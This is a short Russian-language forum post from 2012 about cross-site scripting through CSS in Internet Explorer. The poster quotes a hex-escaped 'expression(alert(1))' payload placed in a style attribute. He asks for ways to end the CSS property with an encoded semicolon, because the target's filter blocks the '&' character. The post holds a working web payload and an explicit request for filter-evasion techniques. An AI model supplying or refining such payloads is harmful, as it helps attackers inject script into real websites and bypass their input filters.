XSS в CSS, кодировка символа

Discussion in 'Песочница' started by x-man-x, 17 Jul 2012.

  1. x-man-x

    x-man-x New Member

    Joined:
    8 Mar 2012
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Hi!

    Есть знаменитый эксплойт для ИЕ:
    Code:
    <div style="xss:\65\78\70\72\65\73\73\69\6f\6e\28\61\6c\65\72\74\28\31\29\29">text</div>
    Все ок, но мне нужно заставить работать подобный код:
    Code:
    <div style="xss:кодированый_эксплойт\3bcolor:блаблабла">text</div>
    В данном случае не работает прерывании атрибута css символом ; ( %3B(\3b) )

    Может у кого есть варианты решения?

    P.S. &`#59; не подходит, фильтр &.
     
    #1 x-man-x, 17 Jul 2012
    Last edited: 17 Jul 2012